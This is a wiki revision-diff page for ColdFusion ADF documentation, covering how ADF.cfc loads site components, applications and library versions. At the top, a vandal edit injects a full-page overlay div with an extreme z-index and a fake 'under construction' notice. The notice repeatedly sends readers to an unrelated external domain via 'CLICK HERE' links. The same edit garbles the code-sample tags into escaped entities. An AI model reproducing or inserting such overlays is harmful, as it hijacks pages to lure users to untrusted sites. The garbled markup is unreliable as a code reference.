Difference between revisions of "Site Configuration (ADF.cfc)"

From ADF Docs
Jump to: navigation, search
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://axufizyfe.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://axufizyfe.co.cc CLICK HERE]=
 +
----
 +
</div>
 
== Overview ==
 
== Overview ==
 
A key part of the configuration of the ADF for your site is the ADF.cfc located in your sites /_cs_apps/ directory (e.g. /mySite/_cs_apps/ADF.cfc).
 
A key part of the configuration of the ADF for your site is the ADF.cfc located in your sites /_cs_apps/ directory (e.g. /mySite/_cs_apps/ADF.cfc).
Line 10: Line 18:
 
This initialized call builds the ''application.ADF'' object factory.  This function will load any site components in the '_cs_apps/components' directory into 'application.ADF' space.  The structure reference name will be the file name of the component.
 
This initialized call builds the ''application.ADF'' object factory.  This function will load any site components in the '_cs_apps/components' directory into 'application.ADF' space.  The structure reference name will be the file name of the component.
  
<source lang="java">
+
&lt;source lang=&quot;java&quot;&gt;
 
/*
 
/*
 
  *
 
  *
Line 18: Line 26:
 
  */
 
  */
 
loadSite();
 
loadSite();
</source>
+
&lt;/source&gt;
  
 
=== ADF Applications ===
 
=== ADF Applications ===
Line 24: Line 32:
  
 
This setup is in the ADF Component at the site.  Call the loadApp function through the ADF cfc.  Pass the argument for the ADF application bean name  (this name is defined when creating a new ADF application, [[Create_New_App|Create New ADF App]]).  
 
This setup is in the ADF Component at the site.  Call the loadApp function through the ADF cfc.  Pass the argument for the ADF application bean name  (this name is defined when creating a new ADF application, [[Create_New_App|Create New ADF App]]).  
<source lang="java">
+
&lt;source lang=&quot;java&quot;&gt;
 
/*   
 
/*   
 
  * Load the ADF Application into application space   
 
  * Load the ADF Application into application space   
 
  *   
 
  *   
 
  *      SAMPLES:  
 
  *      SAMPLES:  
  * loadApp("CustomAppBeanName");
+
  * loadApp(&quot;CustomAppBeanName&quot;);
 
  */
 
  */
loadApp("ptProfile");
+
loadApp(&quot;ptProfile&quot;);
</source>
+
&lt;/source&gt;
  
 
=== ADF Library Components ===
 
=== ADF Library Components ===
 
This command will load the latest versions of the ADF library components into the site, making the ADF library components accessible through the application.ADF scope throughout the site.
 
This command will load the latest versions of the ADF library components into the site, making the ADF library components accessible through the application.ADF scope throughout the site.
<source lang="java">
+
&lt;source lang=&quot;java&quot;&gt;
 
/*
 
/*
 
  *
 
  *
Line 43: Line 51:
 
  */
 
  */
 
loadLibrary();
 
loadLibrary();
</source>
+
&lt;/source&gt;
  
 
=== ADF Library Components Overrides ===
 
=== ADF Library Components Overrides ===
 
This command will override the latest version of an ADF library component into the site.   
 
This command will override the latest version of an ADF library component into the site.   
<source lang="java">
+
&lt;source lang=&quot;java&quot;&gt;
 
/*
 
/*
 
  * Define specific ADF Lib component version to load into the sites application space.
 
  * Define specific ADF Lib component version to load into the sites application space.
 
  *
 
  *
 
  * SAMPLE:
 
  * SAMPLE:
  * resetLibrary("csdata_1_0", "csdata");
+
  * resetLibrary(&quot;csdata_1_0&quot;, &quot;csdata&quot;);
 
  *
 
  *
 
  */
 
  */
resetLibrary("csdata_1_0", "csdata");
+
resetLibrary(&quot;csdata_1_0&quot;, &quot;csdata&quot;);
</source>
+
&lt;/source&gt;
  
 
== Verify ==
 
== Verify ==

Revision as of 23:04, 23 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


Overview

A key part of the configuration of the ADF for your site is the ADF.cfc located in your sites /_cs_apps/ directory (e.g. /mySite/_cs_apps/ADF.cfc).

This ADF component file is used to build an ADF object factory into application space for the site. The ADF component contains three distinct operations:

  1. Load the ADF into the site.
  2. Load ADF applications into the site.
  3. Load the ADF library components into the site.

Site Components

This initialized call builds the application.ADF object factory. This function will load any site components in the '_cs_apps/components' directory into 'application.ADF' space. The structure reference name will be the file name of the component.

<source lang="java"> /*

*
*	Load the Site Environment Configs/Elements and 
*		Components ('/_cs_apps/components') into the site.
*
*/

loadSite(); </source>

ADF Applications

To make an ADF application accessible at the site level, the ADF application must be loaded into the site's application scope.

This setup is in the ADF Component at the site. Call the loadApp function through the ADF cfc. Pass the argument for the ADF application bean name (this name is defined when creating a new ADF application, Create New ADF App). <source lang="java"> /*

*	Load the ADF Application into application space  
*  
*      SAMPLES: 
*		loadApp("CustomAppBeanName");
*/

loadApp("ptProfile"); </source>

ADF Library Components

This command will load the latest versions of the ADF library components into the site, making the ADF library components accessible through the application.ADF scope throughout the site. <source lang="java"> /*

*
*	Define the ADF components to load into the sites application space.
*
*/

loadLibrary(); </source>

ADF Library Components Overrides

This command will override the latest version of an ADF library component into the site. <source lang="java"> /*

*	Define specific ADF Lib component version to load into the sites application space.
*	
*	SAMPLE:
*		resetLibrary("csdata_1_0", "csdata");
*
*/

resetLibrary("csdata_1_0", "csdata"); </source>

Verify

To verify the site has been configured correctly, reset the ADF on the site to load the ADF into application space.